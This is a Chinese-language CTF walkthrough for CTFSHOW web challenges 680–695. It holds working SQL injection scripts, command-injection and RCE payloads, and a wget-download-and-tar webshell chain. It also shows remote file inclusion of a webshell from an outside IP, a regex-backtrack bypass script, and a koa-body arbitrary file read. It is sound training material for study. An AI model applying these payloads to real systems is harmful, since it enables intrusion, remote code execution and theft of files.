因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!
CTFSHOW大赛原题篇- CTFSHOW大赛原题篇
- web680
- web681
- web682
- web683
- web684
- web685
- web686
- web687
- web688
- web689
- web690
- web691
- web692
- web693
- web694
- web695
code=phpinfo();
先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。 r然后看下当前目录下的文件 code=var_dump(scandir("."));
发现一个文件secret_you_never_know 直接访问就拿到flag了 。。。。。。(大无语)
登录的时候抓个包,比如我们传name=123会返回sql语句 select count(*) from ctfshow_users where username = '123' or nickname = '123'
然后试了下单引号,发现会被吞。 那就试下反斜杠, select count(*) from ctfshow_users where username = '123\' or nickname = '123\'
这样相当于执行 select count(*) from ctfshow_users where username = 'xxx'123\'
所以先整个万能密码 name=||1# 最终语句为 select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
相当于 select count(*) from ctfshow_users where username = 'xxxxx‘||1#\'
然后就出flag了。
通过hint拿到未加密的js 后面的其实很简单的,就是麻烦些
import hashlib
string="0123456789abcdef"
for i in string:
for j in string:
for k in string:
for l in string:
aaa=i+j+k+l
out1 = hashlib.sha256(aaa).hexdigest()
if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
print(aaa)
if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
print(aaa)
得到ctfshow{592b9d77
得到
ctfshow{592b9d77-9dda
得到
ctfshow{592b9d77-9dda-4e30
得到
ctfshow{592b9d77-9dda-4e30-94a4
其实就是 base32,直接解码base32就可以了 得到
ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}
import hashlib
string="0123456789abcdef"
for i in string:
if hashlib.sha224(i).hexdigest()=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5':
print(i)
web683
16进制绕过 payload: ?秀=0x76a699
类似于之前的web147 payload: ?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");//
考察点:利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过正则表达式了。 python脚本如下
import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
'file':''+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
u=url+'data/{0}.php'.format(i)
r=requests.post(u,data={'1':'system("cat /secret_you_never_know;echo yu22x");'})
if 'yu22x' in r.text:
print(r.text)
web686
考点:无参数rce 具体做法可以参考下GXYCTF的禁止套娃 或者这篇文章https://blog.csdn.net/weixin_46330722/article/details/110840156
payload: ?code=system(pos(getallheaders()));
getallheaders() 获取请求头信息 pos() 返回数组中的当前元素的值(一般就是第一个了) 在getallheaders返回的数组中X-Forwarded-For一般是第一个,所以我们直接修改这个请求头就可以了。
很简单的一道题 %0a绕过过滤管道符 payload: 1%0acat /f*%0a
题目的目的很明显想让我们通过curl把文件内容带出去,我们正常情况下可以使用curl url -F file=@/flag
剩下的就是怎么绕过过滤了。 escapeshellarg和escapeshellcmd两个函数连用会产生一些问题 比如下面的代码
那么页面会显示如下内容
如果我们传入的file换成现在的url会发生什么?是不是把这个页面给写进去了 所以payload
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=&path=a.php
![]()
这个有点绕,大家如果不懂的可以评论区直接问。
web690传入的参数中只能有数字字母下划线,但是我们可以用%0a换行符来绕过,正好%0a也有和分号类似的作用。 下面的问题就是怎么来rce。 因为有字符限制并且无回显,所以直接执行列目录读文件命令有点困难。那么我们想到的方法就是写一个文件,但是这个也不太好搞,所以我们只能想着从其他地方来搞一个文件,比较好的方法就是通过wget来下载。 然而ip中也会有其他符号,所以我们得用ip的十进制(工具网站) 本地测试发现直接用apache或者nginx启的服务会报400回显。 于是我用python在本地起了个80端口的web服务
python -m SimpleHTTPServer 80
在当前目录下创建一个index.html,wget便会下载该文件 文件内容
所以第一步就是下载文件,但是在此之前我们先创个文件夹,进入这个文件夹后再weget,具体原因和我们下面几步有关。
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip的十进制
相当于执行命令./ 1 mkdir a cd a wget xxxxx
这时候你的a目录下已经有了一个index.html 那么我们只要用php命令来执行他就可以了,但是文件名(index.html)中有(.)还是有问题。 所以下面一步就是怎么把这个名字给改掉。 一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
相当于执行tar cvf shell a
将文件夹a打包成了shell。 这样我们就可以执行php代码了
args[]=1%0a&args[]=php&args[]=shell
汇总下
web691本地创建一个index.html,内容为写一句话木马 同一目录下起一个web服务 python -m SimpleHTTPServer 80 //下载文件 args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制 //打包文件使文件名可用 args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a //执行php文件 args[]=1%0a&args[]=php&args[]=shell 最后访问/shell.php就可以用刚才写的一句话木马了。
order 大小比较盲注,可以参考之前写的一篇文章 我们的目的很明确,就是得到password这一列的值。 首先通过order by能够猜测出一共有三列,那么可能是id,username,password 这三列,我们需要去盲注的就是第三列,所以按第三列来排序也就是order by 3。 下面这张图就比较容易感受出来了。当我们union的password列大于真正在表中存的password列时,那么联合查询结果中的第一行其实会显示真正在表中存的password这一列。
那么对于这个题,可以看下面两张图,当为d时,返回的是admin,说明d比真正的password的第一个字符大,所以真正的字符是c。
![]()
说的有点啰嗦,直接上脚本了。
import requests import string s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~" url="http://350eb77e-284a-4268-bf49-058f67ca4c85.challenge.ctf.show/" data={ 'username':"or 1 union select 1,2,'{}' order by 3#", 'password':'1' } k="ctfshow{10a1a24d-3548-4785-9e2b-9d8a6ad37" for i in range(1,50): print(i) for j in s: data={ 'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j), 'password':'1' } r=requests.post(url,data=data) #print(data['username']) if("
admin" in r.text): k=k+chr(ord(j)-1) print(k) break有点小bug,最后把|改成}提交就可以了。
web692
![]()
preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串。 比如初始的字符串为
$option='123';
如果执行preg_replace("$option='.*';","\x00",$a)
那么返回的结果是$option='$option='123';';
其实就是把原来的字符串又放到单引号里面了。 假设我们第一次传option=;phpinfo();// 首先config.php中的内容会被替换成$option=';phpinfo();//'
。 如果我们第二次传option=%00 那么最终的结果是$option='$option=';phpinfo();//''
这样就逃出了单引号,phpinfo()也就执行成功payload
option=;eval($_POST[1]);// option=%00
通过一句话木马拿flag就可以了。
web693重点是这段代码
$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file);
我们可以调用某个函数,然后会有个文件包含,但是这个函数的参数是个数组。 很容易想到通过extract变量覆盖来改变$file的值。 先是读了下function.php和admin.php,发现暂时没啥用
?function=extract&file=php://filter/convert.base64-encode/resource=function.php ?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
//function.php //admin.php
然后尝试下远程文件包含,发现确实可以
?function=extract&file=http://www.baidu.com
那就简单了,直接包含自己vps上的一个一句话木马就可以了web694//shell.txt GET: ?function=extract&file=http://101.34.94.44/shell.txt POST: 1=system('cat /f*');
整体拼接出xxxxx/a.php/.就可以了
web695最终的路径是 /var/www/html/a.php/. 这样将创建一个a.php文件。
koajs
https://github.com/koajs/koa-body/issues/75
如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。{"files":{"file":{"name":"yu22x","path":"/etc/passwd"}}}
payload:{"files":{"file":{"name":"xiaoyue","path":"flag"}}}
然后downloadfile/id下载flag文件就可以了。